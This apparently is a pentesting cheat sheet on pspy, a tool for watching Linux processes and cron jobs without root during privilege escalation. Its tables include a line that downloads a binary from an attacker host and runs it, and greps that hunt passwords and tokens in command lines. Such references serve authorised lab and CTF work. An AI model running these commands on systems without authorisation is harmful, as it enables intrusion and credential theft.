root@sparrow:~/writeups$ cat pspy.md
// privesc
pspy
21 Jul 2026
· 3 min read
pspy is a command-line utility that shows, in real time, the processes and scheduled tasks running on a Linux system without requiring root permissions. It's a staple of the enumeration phase for uncovering cron jobs and privileged binaries you can abuse to escalate.
The key to pspy is that it does nothing privileged: it polls /proc at intervals and hooks inotify events, so it sees other users' processes (root included) without reading their memory or needing permissions. The trade-off is an inherent race: between two polls a very short-lived process can appear and die before you catch it, which is why the interval (-i) is the parameter that really matters to tune.
1. Beginner level — basic processes and cron

| Command | What it does |
|---|---|
./pspy64 | Monitors processes and cron without being root |
./pspy32 | 32-bit version |
./pspy64 -pf | Also watches filesystem events |
./pspy64 -i 1000 | Polling interval (ms) |
./pspy64 -f | Filesystem events only |
./pspy64 -p | Process events only |
./pspy64 > out.txt | Saves the output |
./pspy64 -c | Shows the full command line |
wget http://<ip>/pspy64 -O pspy64 | Downloads the binary |
chmod +x pspy64 | Execution permissions |
./pspy64 -h | Shows the help |
./pspy64 -pf -i 500 | Processes + FS with fast polling |
./pspy64 | grep -i root | Filters processes running as root |
./pspy64 -f -r /tmp | Watches writes to /tmp |
2. Advanced level — aggressive polling and secrets

| Command | What it does |
|---|---|
./pspy64 -pf -i 100 | Very aggressive polling (captures short-lived processes) |
./pspy64 -r /etc/cron.d | Watches a specific directory (inotify) |
./pspy64 | grep -iE 'passw|token|key' | Hunts secrets in command lines |
./pspy64 --color=false > log | Clean output to file |
./pspy64 -i 50 | tee live.log | Maximum polling + saving |
./pspy64 -pf 2>/dev/null | Silences permission errors |
./pspy64 | grep -i 'UID=0' | Only commands running as root |
./pspy64 -pf -c -i 100 | Everything: processes, FS, cmdline, fast |
base64 -w0 pspy64 | Encodes for transfer over the console |
./pspy64 -r /etc/cron.d -r /var/spool/cron | Watches several cron paths |
./pspy64 & | Leaves pspy running in the background |
curl http://<ip>/pspy64 -o p; chmod +x p; ./p | Downloads, permissions and runs |
./pspy64 -pf | grep -v pspy | Excludes pspy itself from the noise |
watch -n1 'ls -la /etc/cron*' | Complements pspy by checking cron manually |
3. Details people miss
- pspy doesn't need root: it reads
/procand usesinotify, which is why it's the go-to tool during privilege escalation before you hold any privileges. - The binary is static and dependency-free; drop
pspy64orpspy32depending on the target architecture and run it without installing anything. - Lowering the interval with
-icaptures very short-lived processes but spikes CPU usage; by design a fleeting process can always slip between two polls. inotifywatches specific directories and does not recurse into subdirectories; use several-rflags to cover every cron path you care about.- Cut the noise with
grep(byUID=0or words likepassw/token) and exclude pspy itself, but still check cron manually as a complement, because pspy can't guarantee seeing 100% of the events.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.